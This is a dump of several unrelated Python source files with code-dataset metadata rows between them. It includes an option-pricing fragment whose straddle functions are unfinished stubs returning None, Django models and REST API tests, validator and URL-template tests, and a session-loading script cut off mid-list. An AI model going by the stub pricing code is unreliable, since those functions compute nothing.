return straddle_payoff(forward_value, strike_value, is_call_bool)
return None # TODO Bachelier for straddle payoff
def bachelier_straddle_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
Bachelier delta sensitivity for straddle payoff.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 1.0 if fms >= 0.0 else -1.0
return None # TODO Bachelier delta for straddle payoff
def bachelier_straddle_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
Bachelier gamma sensitivity for straddle payoff.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 0.0
return None # TODO Bachelier gamma for straddle payoff
def bachelier_straddle_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
Bachelier vega sensitivity for straddle payoff.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 0.0
return None # TODO Bachelier vega for straddle payoff
| 34.75
| 103
| 0.731715
| 1,409
| 10,008
| 4.946771
| 0.069553
| 0.068867
| 0.088235
| 0.095696
| 0.873888
| 0.866284
| 0.839168
| 0.83056
| 0.824964
| 0.814347
| 0
| 0.009076
| 0.196343
| 10,008
| 287
| 104
| 34.87108
| 0.857516
| 0.496403
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013937
| 0
| 1
| 0.175676
| false
| 0
| 0.054054
| 0
| 0.567568
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
4584f08390f63c05a52d49e5831c5ef7f101e8fc
| 107
|
py
|
Python
|
pyvista/examples/__init__.py
|
sampotter/pyvista
|
491f9b103db907f3ba42fdc34135512ecc92727b
|
[
"MIT"
] | 2
|
2020-12-11T07:31:21.000Z
|
2021-04-07T09:05:21.000Z
|
pyvista/examples/__init__.py
|
sampotter/pyvista
|
491f9b103db907f3ba42fdc34135512ecc92727b
|
[
"MIT"
] | 6
|
2022-03-11T23:21:22.000Z
|
2022-03-25T03:32:21.000Z
|
pyvista/examples/__init__.py
|
sampotter/pyvista
|
491f9b103db907f3ba42fdc34135512ecc92727b
|
[
"MIT"
] | 1
|
2020-03-23T15:46:56.000Z
|
2020-03-23T15:46:56.000Z
|
"""Examples routines."""
from pyvista.examples.downloads import *
from pyvista.examples.examples import *
| 21.4
| 40
| 0.775701
| 12
| 107
| 6.916667
| 0.5
| 0.26506
| 0.457831
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| 0
| 0
| 0
| 0
| 0
| 0.102804
| 107
| 4
| 41
| 26.75
| 0.864583
| 0.168224
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| 0
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| 0
| true
| 0
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| 1
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| 0
| null | 1
| 1
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
45a12b512a8371ed1afd458212f0b26a4f4d764f
| 1,140
|
py
|
Python
|
web/models.py
|
Chaixi/My-Django-Demo
|
43cea290f4a4a1c1a3b981eae3be11cc1188b103
|
[
"MIT"
] | null | null | null |
web/models.py
|
Chaixi/My-Django-Demo
|
43cea290f4a4a1c1a3b981eae3be11cc1188b103
|
[
"MIT"
] | null | null | null |
web/models.py
|
Chaixi/My-Django-Demo
|
43cea290f4a4a1c1a3b981eae3be11cc1188b103
|
[
"MIT"
] | null | null | null |
from django.db import models
# Create your models here.
class News(models.Model):
title = models.CharField(max_length=100)
content = models.TextField()
source = models.CharField(max_length=100)
link = models.CharField(max_length=255)
release_time = models.DateTimeField()
read_status = models.IntegerField()
get_time = models.DateTimeField()
imgs = models.CharField(max_length=255)
class jwc_News(models.Model):
title = models.CharField(max_length=100)
content = models.TextField()
source = models.CharField(max_length=100)
link = models.CharField(max_length=255)
release_time = models.DateTimeField()
read_status = models.IntegerField()
get_time = models.DateTimeField()
imgs = models.CharField(max_length=255)
class xsc_News(models.Model):
title = models.CharField(max_length=100)
content = models.TextField()
source = models.CharField(max_length=100)
link = models.CharField(max_length=255)
release_time = models.DateTimeField()
read_status = models.IntegerField()
get_time = models.DateTimeField()
imgs = models.CharField(max_length=255)
| 35.625
| 45
| 0.729825
| 140
| 1,140
| 5.778571
| 0.221429
| 0.222497
| 0.266996
| 0.355995
| 0.932015
| 0.932015
| 0.932015
| 0.932015
| 0.932015
| 0.932015
| 0
| 0.037696
| 0.162281
| 1,140
| 32
| 46
| 35.625
| 0.809424
| 0.021053
| 0
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.035714
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 11
|
45c37290aba50b71d6025dbf3abf806d4bb00a63
| 15,870
|
py
|
Python
|
menu/tests/tests_views.py
|
pawelszopa/django_api_menu
|
292c117aa4fea57aed80bbfc9cc2bece5c0da434
|
[
"Beerware"
] | null | null | null |
menu/tests/tests_views.py
|
pawelszopa/django_api_menu
|
292c117aa4fea57aed80bbfc9cc2bece5c0da434
|
[
"Beerware"
] | null | null | null |
menu/tests/tests_views.py
|
pawelszopa/django_api_menu
|
292c117aa4fea57aed80bbfc9cc2bece5c0da434
|
[
"Beerware"
] | null | null | null |
import json
from datetime import timedelta, date, datetime
from django.contrib.auth import get_user_model
from django.test import Client, TestCase
from django.urls import reverse
from rest_framework import status
from rest_framework.exceptions import ErrorDetail
from menu.models import Dish, Menu
from menu.serializers import DishSerializer
client = Client()
class DishViewSetTest(TestCase):
def setUp(self) -> None:
self.user = get_user_model().objects.create_user(
username="test", password="test"
)
self.staff_user = get_user_model().objects.create_user(
username="test1", password="test1", is_staff=True
)
self.dish_meat = Dish.objects.create(
name="Test Meat Dish 1",
description="Test meat description 1",
price="10.50",
prep_time=60,
is_vegetarian=False,
author=self.user,
)
self.dish_vege = Dish.objects.create(
name="Test Vege Dish 1",
description="Test vege description 1",
price="10.50",
prep_time=60,
is_vegetarian=True,
author=self.staff_user,
)
self.valid_dish = {
"name": "123",
"description": "123",
"price": "123",
"prep_time": 123,
"is_vegetarian": False,
}
self.invalid_dish = {
"name": "123",
"description": "123",
"price": "123",
"prep_time": 123,
}
def test_get_all_dishes_not_logged_user(self):
response = client.get(reverse("menu:dishes-list"))
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_get_all_dishes_logged_user(self):
client.login(username="test", password="test")
response = client.get(reverse("menu:dishes-list"))
dishes = Dish.objects.all()
serializer = DishSerializer(dishes, many=True)
self.assertEqual(response.data, serializer.data)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_post_valid_dish_not_logged_user(self):
response = client.post(
reverse("menu:dishes-list"),
data=json.dumps(self.valid_dish),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_post_valid_dish_logged_user(self):
client.login(username="test", password="test")
response = client.post(
reverse("menu:dishes-list"),
data=json.dumps(self.valid_dish),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_post_invalid_dish_logged_user(self):
client.login(username="test", password="test")
response = client.post(
reverse("menu:dishes-list"),
data=json.dumps(self.invalid_dish),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_put_valid_dish_not_logged_user(self):
response = client.put(
reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}),
data=json.dumps(self.valid_dish),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_put_valid_dish_logged_user(self):
client.login(username="test", password="test")
response = client.put(
reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}),
data=json.dumps(self.valid_dish),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_put_valid_dish_logged_user_not_owner(self):
client.login(username="test", password="test")
response = client.put(
reverse("menu:dishes-detail", kwargs={"pk": self.dish_vege.pk}),
data=json.dumps(self.valid_dish),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_put_invalid_dish_logged_user(self):
client.login(username="test", password="test")
response = client.put(
reverse("menu:dishes-detail", kwargs={"pk": self.dish_vege.pk}),
data=json.dumps(self.invalid_dish),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_dish_not_logged_user(self):
response = client.delete(
reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_dish_logged_user(self):
client.login(username="test", password="test")
response = client.delete(
reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
def test_delete_dish_logged_user_not_owner(self):
client.login(username="test", password="test")
response = client.delete(
reverse("menu:dishes-detail", kwargs={"pk": self.dish_vege.pk}),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
class MenuViewSetTest(TestCase):
def setUp(self) -> None:
self.user = get_user_model().objects.create_user(
username="test", password="test"
)
self.staff_user = get_user_model().objects.create_user(
username="test1", password="test1", is_staff=True
)
self.dish_meat = Dish.objects.create(
name="Test Meat Dish 1",
description="Test meat description 1",
price="10.50",
prep_time=60,
is_vegetarian=False,
author=self.user,
)
self.dish_meat_2 = Dish.objects.create(
name="Test Meat Dish2",
description="Test meat description 12",
price="10.50",
prep_time=60,
is_vegetarian=False,
author=self.user,
)
self.menu = Menu.objects.create(
name="Test Menu 1", description="Test menu description 1", author=self.user
)
self.menu.dish.add(self.dish_meat)
self.menu_staff = Menu.objects.create(
name="Test Menu 2",
description="Test menu description 1",
author=self.staff_user,
)
self.menu_staff.dish.add(self.dish_meat)
self.menu_staff.dish.add(self.dish_meat_2)
self.valid_menu = {
"name": "123",
"description": "123",
"dish": [self.dish_meat.pk],
}
self.invalid_menu = {
"name": "123" * 1500,
"description": "123",
"dish": [self.dish_meat.pk],
}
def test_get_all_menus_not_logged_user(self):
response = client.get(reverse("menu:cards-list"))
menus = list(Menu.objects.all().order_by("pk"))
self.assertEqual(response.data[0]["id"], menus[0].pk)
self.assertEqual(response.data[1]["id"], menus[1].pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_get_all_menus_logged_user(self):
client.login(username="test", password="test")
response = client.get(reverse("menu:cards-list"))
menus = list(Menu.objects.all().order_by("pk"))
self.assertEqual(response.data[0]["id"], menus[0].pk)
self.assertEqual(response.data[1]["id"], menus[1].pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_sort_name_ascending(self):
response = client.get(reverse("menu:cards-list"), {'ordering': 'name'})
menus = list(Menu.objects.all().order_by("name"))
self.assertEqual(response.data[0]["id"], menus[0].pk)
self.assertEqual(response.data[1]["id"], menus[1].pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_sort_name_descending(self):
response = client.get(reverse("menu:cards-list"), {'ordering': '-name'})
menus = list(Menu.objects.all().order_by("-name"))
self.assertEqual(response.data[0]["id"], menus[0].pk)
self.assertEqual(response.data[1]["id"], menus[1].pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_sort_dishes_count_ascending(self):
response = client.get(reverse("menu:cards-list"), {'ordering': 'dishes_count'})
self.assertEqual(response.data[0]["id"], self.menu.pk)
self.assertEqual(response.data[1]["id"], self.menu_staff.pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_sort_dishes_count_descending(self):
response = client.get(reverse("menu:cards-list"), {'ordering': '-dishes_count'})
self.assertEqual(response.data[0]["id"], self.menu_staff.pk)
self.assertEqual(response.data[1]["id"], self.menu.pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_filter_name_empty(self):
response = client.get(reverse("menu:cards-list"), {'search': 'pawel'})
print(response.data)
self.assertEqual(len(response.data), 0)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_filter_one_entry(self):
response = client.get(reverse("menu:cards-list"), {'search': '1'})
self.assertEqual(len(response.data), 1)
self.assertEqual(response.data[0]["id"], self.menu.pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_filter_two_entry(self):
response = client.get(reverse("menu:cards-list"), {'search': 'Test'})
self.assertEqual(len(response.data), 2)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_search_created_at_invalid_data(self):
date_to_search = date.today() + timedelta(days=1)
response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_to_search})
self.assertEqual(response.data, {'created_at__gte': [ErrorDetail(string='Enter a valid date/time.', code='invalid')]})
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_search_created_at_empty_entry(self):
date_to_search = datetime.now() + timedelta(days=1)
response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_to_search})
self.assertEqual(len(response.data), 0)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_search_invalid_combination_created_at(self):
date_end = datetime.now() + timedelta(days=1)
date_start = datetime.now() - timedelta(days=1)
response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_end, 'created_at__lte': date_start})
self.assertEqual(len(response.data), 0)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_search_valid_combination_created_at(self):
date_end = datetime.now() + timedelta(days=1)
date_start = datetime.now() - timedelta(days=1)
response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_start, 'created_at__lte': date_end})
self.assertEqual(len(response.data), 2)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_search_updated_at_invalid_data(self):
date_to_search = date.today() + timedelta(days=1)
response = client.get(reverse("menu:cards-list"), {'updated_at': date_to_search})
self.assertEqual(response.data, {'updated_at': [ErrorDetail(string='Enter a valid date/time.', code='invalid')]})
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_search_updated_at_valid_data(self):
response = client.get(reverse("menu:cards-list"), {'updated_at': self.menu.updated_at})
self.assertEqual(len(response.data), 1)
self.assertEqual(response.data[0]["id"], self.menu.pk)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_post_valid_menu_not_logged_user(self):
response = client.post(
reverse("menu:cards-list"),
data=json.dumps(self.valid_menu),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_post_valid_menu_logged_user(self):
client.login(username="test", password="test")
response = client.post(
reverse("menu:cards-list"),
data=json.dumps(self.valid_menu),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_post_invalid_menu_logged_user(self):
client.login(username="test", password="test")
response = client.post(
reverse("menu:cards-list"),
data=json.dumps(self.invalid_menu),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_put_valid_menu_not_logged_user(self):
response = client.put(
reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}),
data=json.dumps(self.valid_menu),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_put_valid_menu_logged_user(self):
client.login(username="test", password="test")
response = client.put(
reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}),
data=json.dumps(self.valid_menu),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_put_valid_menu_logged_user_not_owner(self):
client.login(username="test", password="test")
response = client.put(
reverse("menu:cards-detail", kwargs={"pk": self.menu_staff.pk}),
data=json.dumps(self.valid_menu),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_put_invalid_menu_logged_user(self):
client.login(username="test", password="test")
response = client.put(
reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}),
data=json.dumps(self.invalid_menu),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_delete_menu_not_logged_user(self):
response = client.delete(
reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_menu_logged_user(self):
client.login(username="test", password="test")
response = client.delete(
reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
def test_delete_menu_logged_user_not_owner(self):
client.login(username="test", password="test")
response = client.delete(
reverse("menu:cards-detail", kwargs={"pk": self.menu_staff.pk}),
content_type="application/json",
)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
| 41.653543
| 126
| 0.643226
| 1,940
| 15,870
| 5.030928
| 0.068557
| 0.09375
| 0.127254
| 0.109939
| 0.91998
| 0.903074
| 0.89416
| 0.871516
| 0.858607
| 0.826742
| 0
| 0.018829
| 0.226969
| 15,870
| 381
| 127
| 41.653543
| 0.776736
| 0
| 0
| 0.616314
| 0
| 0
| 0.114801
| 0
| 0
| 0
| 0
| 0
| 0.18429
| 1
| 0.117825
| false
| 0.060423
| 0.02719
| 0
| 0.151057
| 0.003021
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
b31f4512e412d79bf186b3732ec103b5037e1679
| 1,294
|
py
|
Python
|
mymoney/core/tests/test_validators.py
|
ychab/mymoney-server
|
40dc9fdd08b3561287a9153342b25c58de8ad8ce
|
[
"BSD-3-Clause"
] | 6
|
2015-12-11T13:36:27.000Z
|
2018-10-17T03:08:15.000Z
|
mymoney/core/tests/test_validators.py
|
ychab/mymoney-server
|
40dc9fdd08b3561287a9153342b25c58de8ad8ce
|
[
"BSD-3-Clause"
] | 2
|
2016-06-12T12:42:47.000Z
|
2017-12-12T14:05:14.000Z
|
mymoney/core/tests/test_validators.py
|
ychab/mymoney-server
|
40dc9fdd08b3561287a9153342b25c58de8ad8ce
|
[
"BSD-3-Clause"
] | 1
|
2022-02-21T21:20:51.000Z
|
2022-02-21T21:20:51.000Z
|
from django.test import TestCase
from rest_framework import serializers
from ..validators import MinMaxValidator
class MinMaxValidatorTestCase(TestCase):
def test_no_min(self):
validator = MinMaxValidator(field_min='min', field_max='max')
validator(data={'max': 10})
def test_no_max(self):
validator = MinMaxValidator(field_min='min', field_max='max')
validator(data={'min': 10})
def test_zero_lower(self):
validator = MinMaxValidator(field_min='min', field_max='max')
validator(data={'min': 0, 'max': 10})
def test_zero_greater(self):
validator = MinMaxValidator(field_min='min', field_max='max')
with self.assertRaises(serializers.ValidationError):
validator(data={'min': 10, 'max': 0})
def test_greater(self):
validator = MinMaxValidator(field_min='min', field_max='max')
with self.assertRaises(serializers.ValidationError):
validator(data={'min': -10, 'max': -20})
def test_equal(self):
validator = MinMaxValidator(field_min='min', field_max='max')
validator(data={'min': 5.5, 'max': 5.5})
def test_lower(self):
validator = MinMaxValidator(field_min='min', field_max='max')
validator(data={'min': 5.4, 'max': 5.5})
| 33.179487
| 69
| 0.653787
| 157
| 1,294
| 5.22293
| 0.203822
| 0.059756
| 0.239024
| 0.281707
| 0.715854
| 0.715854
| 0.715854
| 0.715854
| 0.715854
| 0.715854
| 0
| 0.021256
| 0.200155
| 1,294
| 38
| 70
| 34.052632
| 0.771014
| 0
| 0
| 0.333333
| 0
| 0
| 0.060278
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 1
| 0.259259
| false
| 0
| 0.111111
| 0
| 0.407407
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b32c32914a8d32e0e1eb433916215e999193e5a2
| 1,715
|
py
|
Python
|
tests/test_transform.py
|
tylerbwong/octohook
|
f0372f98dba16d653ab9beda42e4a9dd508dd3b1
|
[
"MIT"
] | 4
|
2020-04-24T18:25:51.000Z
|
2020-11-11T01:38:17.000Z
|
tests/test_transform.py
|
tylerbwong/octohook
|
f0372f98dba16d653ab9beda42e4a9dd508dd3b1
|
[
"MIT"
] | 11
|
2020-03-24T03:35:06.000Z
|
2022-03-31T09:50:49.000Z
|
tests/test_transform.py
|
tylerbwong/octohook
|
f0372f98dba16d653ab9beda42e4a9dd508dd3b1
|
[
"MIT"
] | 2
|
2020-05-19T14:03:51.000Z
|
2022-03-31T04:23:53.000Z
|
import pytest
from octohook.models import _transform as transform
@pytest.mark.parametrize(
"url, local_variables, expected",
[
("url/{a}/{b}", {"a": "a", "b": "b"}, "url/a/b"),
("url/some/more/{a}...{b}", {"a": "a", "b": "b"}, "url/some/more/a...b"),
],
)
def test_no_optional(url, local_variables, expected):
assert transform(url, local_variables) == expected
@pytest.mark.parametrize(
"url, local_variables, expected",
[
("url/a{/b}", {"b": "b"}, "url/a/b"),
("url/a{/b}", {"b": None}, "url/a"),
("url{/a}{/b}", {"a": None, "b": None}, "url"),
("url{/a}{/b}", {"a": "a", "b": None}, "url/a"),
("url{/a}{/b}", {"a": "a", "b": None}, "url/a"),
("url{/a}{/b}", {"a": None, "b": "b"}, "url"),
("url{/a}{/b}{/c}", {"a": None, "b": "b"}, "url"),
],
)
def test_all_optional(url, local_variables, expected):
assert transform(url, local_variables) == expected
@pytest.mark.parametrize(
"url, local_variables, expected",
[
("url/{a}{/b}", {"a": "a", "b": "b"}, "url/a/b"),
("url/{a}{/b}", {"a": "a", "b": None}, "url/a"),
("url/{a}{/b}{/c}", {"a": "a", "b": "b", "c": "c"}, "url/a/b/c"),
("url/{a}{/b}{/c}", {"a": "a", "b": "b", "c": None}, "url/a/b"),
("url/{a}{/b}{/c}", {"a": "a", "b": None, "c": None}, "url/a"),
("url/{a}{/b}{/c}", {"a": "a", "b": None, "c": "c"}, "url/a"),
("url/{a}...{b}{/c}", {"a": "a", "b": "b", "c": "c"}, "url/a...b/c"),
("url/{a}...{b}{/c}", {"a": "a", "b": "b", "c": None}, "url/a...b"),
],
)
def test_some_optional(url, local_variables, expected):
assert transform(url, local_variables) == expected
| 35.729167
| 81
| 0.441399
| 251
| 1,715
| 2.952191
| 0.099602
| 0.099865
| 0.155196
| 0.303644
| 0.873144
| 0.846154
| 0.821862
| 0.809717
| 0.793522
| 0.767881
| 0
| 0
| 0.208163
| 1,715
| 47
| 82
| 36.489362
| 0.545655
| 0
| 0
| 0.35
| 0
| 0
| 0.28863
| 0.013411
| 0
| 0
| 0
| 0
| 0.075
| 1
| 0.075
| false
| 0
| 0.05
| 0
| 0.125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b3480b6664a1dda51644a15add4202651fd548bb
| 11,778
|
py
|
Python
|
symposion_project/apps/symposion/schedule/management/commands/load_sessions.py
|
mzdaniel/symposion
|
b2f557ca1be3bd61db2d902a31d57049fb6855c5
|
[
"MIT"
] | 1
|
2017-09-04T08:19:08.000Z
|
2017-09-04T08:19:08.000Z
|
symposion_project/apps/symposion/schedule/management/commands/load_sessions.py
|
mzdaniel/symposion
|
b2f557ca1be3bd61db2d902a31d57049fb6855c5
|
[
"MIT"
] | null | null | null |
symposion_project/apps/symposion/schedule/management/commands/load_sessions.py
|
mzdaniel/symposion
|
b2f557ca1be3bd61db2d902a31d57049fb6855c5
|
[
"MIT"
] | null | null | null |
from datetime import datetime
from django.core.management.base import BaseCommand
from schedule.models import Track, Session, Slot
friday_plenaries = [
[
{
"start": datetime(2011, 3, 11, 7, 0),
"end": datetime(2011, 3, 11, 8, 0),
},
{
"start": datetime(2011, 3, 11, 8, 0),
"end": datetime(2011, 3, 11, 9, 0),
},
],
[
{
"start": datetime(2011, 3, 11, 9, 0),
"end": datetime(2011, 3, 11, 9, 10),
},
{
"start": datetime(2011, 3, 11, 9, 10),
"end": datetime(2011, 3, 11, 9, 40),
},
{
"start": datetime(2011, 3, 11, 9, 40),
"end": datetime(2011, 3, 11, 10, 5),
},
],
[
{
"start": datetime(2011, 3, 11, 10, 5),
"end": datetime(2011, 3, 11, 10, 25),
},
],
[
{
"start": datetime(2011, 3, 11, 17, 30),
"end": datetime(2011, 3, 11, 18, 0),
},
],
]
friday_slots_type_1 = [
[
{
"start": datetime(2011, 3, 11, 10, 25),
"end": datetime(2011, 3, 11, 11, 5),
},
{
"start": datetime(2011, 3, 11, 11, 5),
"end": datetime(2011, 3, 11, 11, 45),
},
{
"start": datetime(2011, 3, 11, 11, 45),
"end": datetime(2011, 3, 11, 12, 30),
},
],
[
{
"title": "Lunch",
"start": datetime(2011, 3, 11, 12, 30),
"end": datetime(2011, 3, 11, 13, 35),
},
],
[
{
"start": datetime(2011, 3, 11, 13, 35),
"end": datetime(2011, 3, 11, 14, 15),
},
{
"start": datetime(2011, 3, 11, 14, 15),
"end": datetime(2011, 3, 11, 14, 55),
},
{
"start": datetime(2011, 3, 11, 14, 55),
"end": datetime(2011, 3, 11, 15, 40),
},
],
[
{
"title": "Afternoon Break with Snacks in Expo Hall",
"start": datetime(2011, 3, 11, 15, 40),
"end": datetime(2011, 3, 11, 16, 15),
},
],
[
{
"start": datetime(2011, 3, 11, 16, 15),
"end": datetime(2011, 3, 11, 16, 55),
},
{
"start": datetime(2011, 3, 11, 16, 55),
"end": datetime(2011, 3, 11, 17, 30),
},
]
]
friday_slots_type_2 = [
[
{
"start": datetime(2011, 3, 11, 10, 25),
"end": datetime(2011, 3, 11, 11, 5),
},
{
"start": datetime(2011, 3, 11, 11, 5),
"end": datetime(2011, 3, 11, 11, 45),
},
{
"start": datetime(2011, 3, 11, 11, 45),
"end": datetime(2011, 3, 11, 12, 15),
},
],
[
{
"title": "Lunch",
"start": datetime(2011, 3, 11, 12, 15),
"end": datetime(2011, 3, 11, 13, 20),
},
],
[
{
"start": datetime(2011, 3, 11, 13, 20),
"end": datetime(2011, 3, 11, 14, 15),
},
{
"start": datetime(2011, 3, 11, 14, 15),
"end": datetime(2011, 3, 11, 14, 55),
},
{
"start": datetime(2011, 3, 11, 14, 55),
"end": datetime(2011, 3, 11, 15, 25),
},
],
[
{
"title": "Afternoon Break with Snacks in Expo Hall",
"start": datetime(2011, 3, 11, 15, 25),
"end": datetime(2011, 3, 11, 16, 0),
},
],
[
{
"start": datetime(2011, 3, 11, 16, 0),
"end": datetime(2011, 3, 11, 16, 55),
},
{
"start": datetime(2011, 3, 11, 16, 55),
"end": datetime(2011, 3, 11, 17, 30),
},
]
]
saturday_plenaries = [
[
{
"start": datetime(2011, 3, 12, 7, 0),
"end": datetime(2011, 3, 12, 8, 0),
},
{
"start": datetime(2011, 3, 12, 8, 0),
"end": datetime(2011, 3, 12, 8, 30),
},
],
[
{
"start": datetime(2011, 3, 12, 8, 30),
"end": datetime(2011, 3, 12, 9, 0),
},
{
"start": datetime(2011, 3, 12, 9, 0),
"end": datetime(2011, 3, 12, 9, 5),
},
{
"start": datetime(2011, 3, 12, 9, 5),
"end": datetime(2011, 3, 12, 9, 20),
},
{
"start": datetime(2011, 3, 12, 9, 20),
"end": datetime(2011, 3, 12, 9, 35),
},
{
"start": datetime(2011, 3, 12, 9, 35),
"end": datetime(2011, 3, 12, 10, 5),
},
],
[
{
"start": datetime(2011, 3, 12, 10, 5),
"end": datetime(2011, 3, 12, 10, 25),
},
],
[
{
"start": datetime(2011, 3, 12, 17, 30),
"end": datetime(2011, 3, 12, 18, 0),
},
],
]
saturday_slots_type_1 = [
[
{
"start": datetime(2011, 3, 12, 10, 25),
"end": datetime(2011, 3, 12, 11, 5),
},
{
"start": datetime(2011, 3, 12, 11, 5),
"end": datetime(2011, 3, 12, 11, 45),
},
{
"start": datetime(2011, 3, 12, 11, 45),
"end": datetime(2011, 3, 12, 12, 30),
},
],
[
{
"title": "Lunch",
"start": datetime(2011, 3, 12, 12, 30),
"end": datetime(2011, 3, 12, 13, 35),
},
],
[
{
"start": datetime(2011, 3, 12, 13, 35),
"end": datetime(2011, 3, 12, 14, 15),
},
{
"start": datetime(2011, 3, 12, 14, 15),
"end": datetime(2011, 3, 12, 14, 55),
},
{
"start": datetime(2011, 3, 12, 14, 55),
"end": datetime(2011, 3, 12, 15, 40),
},
